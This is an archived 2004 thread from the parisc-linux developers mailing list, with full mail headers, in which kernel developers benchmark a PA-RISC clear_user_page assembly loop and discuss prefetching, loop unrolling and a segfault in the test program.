List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22193

On Tue, Dec 07, 2004 at 03:12:37PM +0100, Joel Soete wrote:
> Hello all,
> 
> here are the results of some clup test:
> (run on b2k running  2.6.10-rc3-pa2 64bit)
> time ./clup0; time ./clup1 ; time ./clup2
> 
> real    0m0.498s
> user    0m0.440s
> sys     0m0.014s
> 
> real    0m0.277s
> user    0m0.229s
> sys     0m0.010s
>
> real    0m0.272s
> user    0m0.227s
> sys     0m0.013s

cool - these are good results for evaluating instruction pipeline.

Unless you are continuously clearing the new pages
I would expect your test is just pounding the cache
and not real memory.

I looked over the code and wasn't sure how big the "memory footprint"
your test had. But 40*PAGESIZE didn't seem like nearly enough.

It should walk through at least 32MB of RAM to be certain it's
not touching the same cachelines over again. For PA8800 it would
need to be 128MB or something like that.

> 
> (the corresponding src are attached.
> Compile with (for remind:):
> ggc -o clup0 clup0.c
> gcc -mach=2.0 -o clup1 clup1.c
> gcc -mach=2.0 -o clup2 clup2.c)
> 
> so real benefit to use double word insn on 64bit (clup0 verusu clup1)
> 
> but not reducing the number of loop (clup1 versus clup2)

Well, that's still 5/270 or almost 2%.
Doubling the loop is worth doing IMHO in this case.

Do you also have time to add prefetching to clup2?

Look at the kernel prefetchw() implementation in include/asm/processor.h.
You want to use something that ends up looking like
	__asm__("ldd L1_CACHE_BYTES*N(%0), %%r0" : : "r" (addr));

Vary the value "N" from 2 to 8 to see what's optimal.
Prefetching too much doesn't help either.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Need more advise [Was: [parisc-linux] clear user page test]
Date: Thu, 9 Dec 2004 17:31:10 +0100
Lines: 197
Approved: news@gmane.org
Message-ID: <418A80F70000E6FF@mail-5-bnl.tiscali.it>
References: <418A80F70000DECC@mail-5-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623621 11966 80.91.229.3 (22 Nov 2014 02:33:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 29636 invoked by uid 65534); 9 Dec 2004 16:30:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx065) with SMTP; 09 Dec 2004 17:30:50 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6C0933BE6E; Thu,  9 Dec 2004 09:30:38 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00327-08; Thu, 9 Dec 2004 09:30:38 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E2E673BE6F; Thu,  9 Dec 2004 09:30:24 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0F0613BE6B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Dec 2004 09:30:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 00326-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 9 Dec 2004 09:30:15 -0700 (MST)
Original-Received: from mrq-1.tiscalinet.it (mrq-1.tiscalinet.it [213.205.37.214])
	by free.linux.hp.com (Postfix) with ESMTP id F24583BE6A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Dec 2004 09:30:14 -0700 (MST)
Original-Received: from mail-5-bnl.tiscali.it (10.39.115.135) by mrq-1.tiscalinet.it
	(7.0.028) id 419A12460031769E; Thu, 9 Dec 2004 17:30:11 +0100
Original-Received: from [57.67.177.33] by mail-5-bnl.tiscali.it with HTTP;
	Thu, 9 Dec 2004 17:31:10 +0100
In-Reply-To: <418A80F70000DECC@mail-5-bnl.tiscali.it>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22194

Hello Grant,

> > It should walk through at least 32MB of RAM to be certain it's
> > not touching the same cachelines over again. For PA8800 it would
> > need to be 128MB or something like that.
> >
Here is the new test code (purged of printf() debug) let me call clup5.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>

#ifndef __LP64__
#warning "Not supported on 32bit cpu"
#define L1_CACHE_BYTES		64
#define	N_L1_CACHE_BYTES	128	/* 2*L1_CACHE_BYTES */
#endif

inline void __clear_user_page_asm(unsigned long vaddr)
{

asm volatile ("ldi	64,%%r1\n"
"1:	std	%%r0,0(%0)\n"		
"	std	%%r0,8(%0)\n"		
"	std	%%r0,16(%0)\n"	
"	std	%%r0,24(%0)\n"
"	std	%%r0,32(%0)\n"
"	std	%%r0,40(%0)\n"
"	std	%%r0,48(%0)\n"	
"	std	%%r0,56(%0)\n"
"	std	%%r0,64(%0)\n"		
"	std	%%r0,72(%0)\n"		
"	std	%%r0,80(%0)\n"	
"	std	%%r0,88(%0)\n"
"	std	%%r0,96(%0)\n"
"	std	%%r0,104(%0)\n"
"	std	%%r0,112(%0)\n"	
"	std	%%r0,120(%0)\n"
"	addib,>  -2,%%r1,1b\n"
"	ldo	128(%0),%0"
	:		
	: "r"(vaddr) );
}

inline void prefetchw(const void *addr)
{
	__asm__("ldd 512(%0), %%r0" : : "r" (addr));
}

/* 
#define	INIT	1
#define	DEBUG	1
 */

#define PAGESIZ 4*1024
#define MEMSIZ  1*PAGESIZ*1024  /* i.e. 4Mb */

int main(int argc, char * * argv, char * * env)
{
	char APage[MEMSIZ];
	int i, j, k;

	for (k=3D0; k<8; k++) {

	for (i=3D0; i<MEMSIZ; i+=3DPAGESIZ) {
		prefetchw((void *)(APage+i));
		__clear_user_page_asm((unsigned long)(APage+i));
	}

	} /* end for k */
	return 0;
}

My 1st pb is the table size:
I can use the max size of 4Mb but as soon as I try 8Mb the prgm segfault;=

what did I missed again?

(temporaely I loop 8* the cleanup of a 4Mb char table ;-)

That said I also used the following clup4.c:
#ifndef __LP64__
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#endif

#define LP64	1 

inline void __clear_user_page_asm(unsigned long vaddr)
{

asm volatile ("ldi	64,%%r1\n"
#ifdef LP64
"1:	std	%%r0,0(%0)\n"		
"	std	%%r0,8(%0)\n"		
"	std	%%r0,16(%0)\n"	
"	std	%%r0,24(%0)\n"
"	std	%%r0,32(%0)\n"
"	std	%%r0,40(%0)\n"
"	std	%%r0,48(%0)\n"	
"	std	%%r0,56(%0)\n"
#else
"1:	stw	%%r0,0(%0)\n"
"	stw	%%r0,4(%0)\n"
"	stw	%%r0,8(%0)\n"
"	stw	%%r0,12(%0)\n"
"	stw	%%r0,16(%0)\n"
"	stw	%%r0,20(%0)\n"
"	stw	%%r0,24(%0)\n"
"	stw	%%r0,28(%0)\n"
"	stw	%%r0,32(%0)\n"
"	stw	%%r0,36(%0)\n"	
"	stw	%%r0,40(%0)\n"
"	stw	%%r0,44(%0)\n"
"	stw	%%r0,48(%0)\n"	
"	stw	%%r0,52(%0)\n"
"	stw	%%r0,56(%0)\n"
"	stw	%%r0,60(%0)\n"
#endif
"	addib,>  -1,%%r1,1b\n"
"	ldo	64(%0),%0"
	:		
	: "r"(vaddr) );
}

#define PAGESIZ 4*1024
#define MEMSIZ  1*PAGESIZ*1024  /* i.e. 4Mb */

int main(int argc, char * * argv, char * * env)
{
	char APage[MEMSIZ];
	unsigned int i, j, k;

	for (k=3D0; k<8; k++) {

	for (i=3D0; i<MEMSIZ; i+=3DPAGESIZ) {
		__clear_user_page_asm((unsigned long)(APage+i));
	}

	} /* end for k */
	return 0;
}

as ref (the old clup1 with page size changed) and got following results:
time ./clup4; time ./clup5 # pref =3D 128

real	0m0.108s
user	0m0.059s
sys	0m0.047s

real	0m0.108s
user	0m0.057s
sys	0m0.048s

time ./clup4; time ./clup5 # pref =3D 256

real	0m0.108s
user	0m0.058s
sys	0m0.048s

real	0m0.108s
user	0m0.060s
sys	0m0.045s

time ./clup4 ; time ./clup5 # pref =3D512

real	0m0.108s
user	0m0.059s
sys	0m0.047s

real	0m0.108s
user	0m0.056s
sys	0m0.050s

Prefectch doesn't seems to help but not sure I use it as I should?

Thx,
    Joel


-------------------------------------------------------------------------=
--
Tiscali vous offre 3 mois d'ADSL et 3 mois de DVD gratuits...profitez-en.=
..
http://reg.tiscali.be/adsl/default.asp?lg=3DFR




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] clerar user page test
Date: Thu, 9 Dec 2004 10:32:39 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <20041209173239.GA14560@colo.lackof.org>
References: <418A81310000D172@mail-7-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623621 11969 80.91.229.3 (22 Nov 2014 02:33:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 31172 invoked by uid 65534); 9 Dec 2004 17:34:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx044) with SMTP; 09 Dec 2004 18:34:05 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 244BF3BE6B; Thu,  9 Dec 2004 10:34:03 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01604-08; Thu, 9 Dec 2004 10:34:03 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7BA703BE6D; Thu,  9 Dec 2004 10:33:36 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C566C3BE6A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Dec 2004 10:33:31 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 01702-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 9 Dec 2004 10:33:30 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 4EC823BE45
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Dec 2004 10:33:30 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id B65BE2980A5; Thu,  9 Dec 2004 10:33:29 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15986-04; Thu, 9 Dec 2004 10:32:39 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id BDD14298029; Thu,  9 Dec 2004 10:32:39 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <418A81310000D172@mail-7-bnl.tiscali.it>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22195

On Tue, Dec 07, 2004 at 03:12:37PM +0100, Joel Soete wrote:
> here are the results of some clup test:
...

Joel,
I also rewrote the test and parked it on:
	http://iou.parisc-linux.org/hppa/clup.c

Here's the output from a a500-6x running 2.6.10-rc1-pa12-SMP:
grundler@iodine:~$ gcc-3.3 -o clup0 clup.c
grundler@iodine:~$ gcc-3.3 -DLOOP2X -o clup1 clup.c
grundler@iodine:~$ gcc-3.3 -march=2.0 -DLP64 -o clup2 clup.c
grundler@iodine:~$ gcc-3.3 -march=2.0 -DLP64 -DLOOP2X -o clup3 clup.c
grundler@iodine:~$ gcc-3.3 -march=2.0 -DLP64 -DLOOP2X -DPREFETCH -o clup4 clup.c
grundler@iodine:~$ for i in 0 1 2 3 4; do time ./clup$i ; done 2>&1 | fgrep user 
user    0m2.393s
user    0m2.392s
user    0m1.238s
user    0m1.224s
user    0m1.225s

I've varied the prefetch values and nothing seems to be helping.
I have to wonder if it's because the kernel VM is interferring
with the test.

But doubling the stride for 64-bit is consistently ~1.8% improvement.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] clerar user page test
Date: Thu, 9 Dec 2004 18:31:49 +0000
Lines: 50
Approved: news@gmane.org
Message-ID: <418A81310000E120@mail-7-bnl.tiscali.it>
References: <20041209173239.GA14560@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623621 11972 80.91.229.3 (22 Nov 2014 02:33:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 19348 invoked by uid 65534); 9 Dec 2004 18:32:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx025) with SMTP; 09 Dec 2004 19:32:19 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DD36D3BE6E; Thu,  9 Dec 2004 11:32:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02013-07; Thu, 9 Dec 2004 11:32:16 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5DC363BE74; Thu,  9 Dec 2004 11:32:05 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CFC303BE6E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Dec 2004 11:31:58 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 02013-05 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 9 Dec 2004 11:31:57 -0700 (MST)
Original-Received: from mrq-1.tiscalinet.it (mrq-1.tiscalinet.it [213.205.37.214])
	by free.linux.hp.com (Postfix) with ESMTP id 767CA3BE6D
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Dec 2004 11:31:56 -0700 (MST)
Original-Received: from mail-7-bnl.tiscali.it (10.39.115.137) by mrq-1.tiscalinet.it
	(7.0.028) id 419A12460031C8CE; Thu, 9 Dec 2004 19:31:50 +0100
Original-Received: from [57.67.177.33] by mail-7-bnl.tiscali.it with HTTP;
	Thu, 9 Dec 2004 19:31:49 +0100
In-Reply-To: <20041209173239.GA14560@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22196


> I also rewrote the test and parked it on:
> 	http://iou.parisc-linux.org/hppa/clup.c
> 
Cool (thanks a lot)

> Here's the output from a a500-6x running 2.6.10-rc1-pa12-SMP:
> grundler@iodine:~$ gcc-3.3 -o clup0 clup.c
> grundler@iodine:~$ gcc-3.3 -DLOOP2X -o clup1 clup.c
> grundler@iodine:~$ gcc-3.3 -march=3D2.0 -DLP64 -o clup2 clup.c
> grundler@iodine:~$ gcc-3.3 -march=3D2.0 -DLP64 -DLOOP2X -o clup3 clup.c=

> grundler@iodine:~$ gcc-3.3 -march=3D2.0 -DLP64 -DLOOP2X -DPREFETCH -o c=
lup4
> clup.c
> grundler@iodine:~$ for i in 0 1 2 3 4; do time ./clup$i ; done 2>&1 |
fgrep
> user 
> user    0m2.393s
> user    0m2.392s
> user    0m1.238s
> user    0m1.224s
> user    0m1.225s
> 
> I've varied the prefetch values and nothing seems to be helping.
> I have to wonder if it's because the kernel VM is interferring
> with the test.
> 
> But doubling the stride for 64-bit is consistently ~1.8% improvement.
> 
Ok wil I prepare a patch or you?

Thx again,
    Joel

-------------------------------------------------------------------------=
--
Tiscali vous offre 3 mois d'ADSL et 3 mois de DVD gratuits...profitez-en.=
..
http://reg.tiscali.be/adsl/default.asp?lg=3DFR




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: godd news [[WasRe: [parisc-linux] but still panic: [WAS:
	2.6.10-rc1-pa15 boot fine	on n4k but still	annoying bactrace]]
Date: Thu, 09 Dec 2004 20:21:19 -0600
Organization: SteelEye Technology, inc.
Lines: 18
Approved: news@gmane.org
Message-ID: <1102645279.3814.1.camel@mulgrave>
References: <418A81310000E136@mail-7-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623622 11982 80.91.229.3 (22 Nov 2014 02:33:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:42 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 28724 invoked by uid 65534); 10 Dec 2004 02:22:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx002) with SMTP; 10 Dec 2004 03:22:17 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 69E493BE59; Thu,  9 Dec 2004 19:22:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07020-09; Thu, 9 Dec 2004 19:22:04 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DDBEB3BE68; Thu,  9 Dec 2004 19:21:41 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 493C93BE48
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Dec 2004 19:21:38 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 07032-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 9 Dec 2004 19:21:37 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by free.linux.hp.com (Postfix) with ESMTP id 2EAEB3BE26
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Dec 2004 19:21:36 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	iBA2LPp03432; Thu, 9 Dec 2004 21:21:25 -0500
In-Reply-To: <418A81310000E136@mail-7-bnl.tiscali.it>
X-Mailer: Evolution 2.0.2 (2.0.2-3) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22197

On Thu, 2004-12-09 at 18:47 +0000, Joel Soete wrote:
> Now that's a bit more then 48h that loop is running on n4k with k-2.6.10-rc3-pa3
> (already rebuild 214 time ;-)

Well, this isn't necessarily good news.  I still think the problem is
triggered by a race in the signal code.  However, if its no longer
tripping, it means that the code has changed to obscure it ... which
means it's not going to get fixed until it shows up again.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.10-rc2-pa2 build failing
Date: Fri, 10 Dec 2004 12:28:35 -0700
Lines: 54
Approved: news@gmane.org
Message-ID: <20041210192835.GF6653@colo.lackof.org>
References: <Pine.LNX.4.58.0412031551120.3169@rray.drdc.mstc.ms.gov>
	<20041204190201.GC30126@colo.lackof.org>
	<Pine.LNX.4.58.0412060817380.21506@rray.drdc.mstc.ms.gov>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623622 11984 80.91.229.3 (22 Nov 2014 02:33:42 GMT)
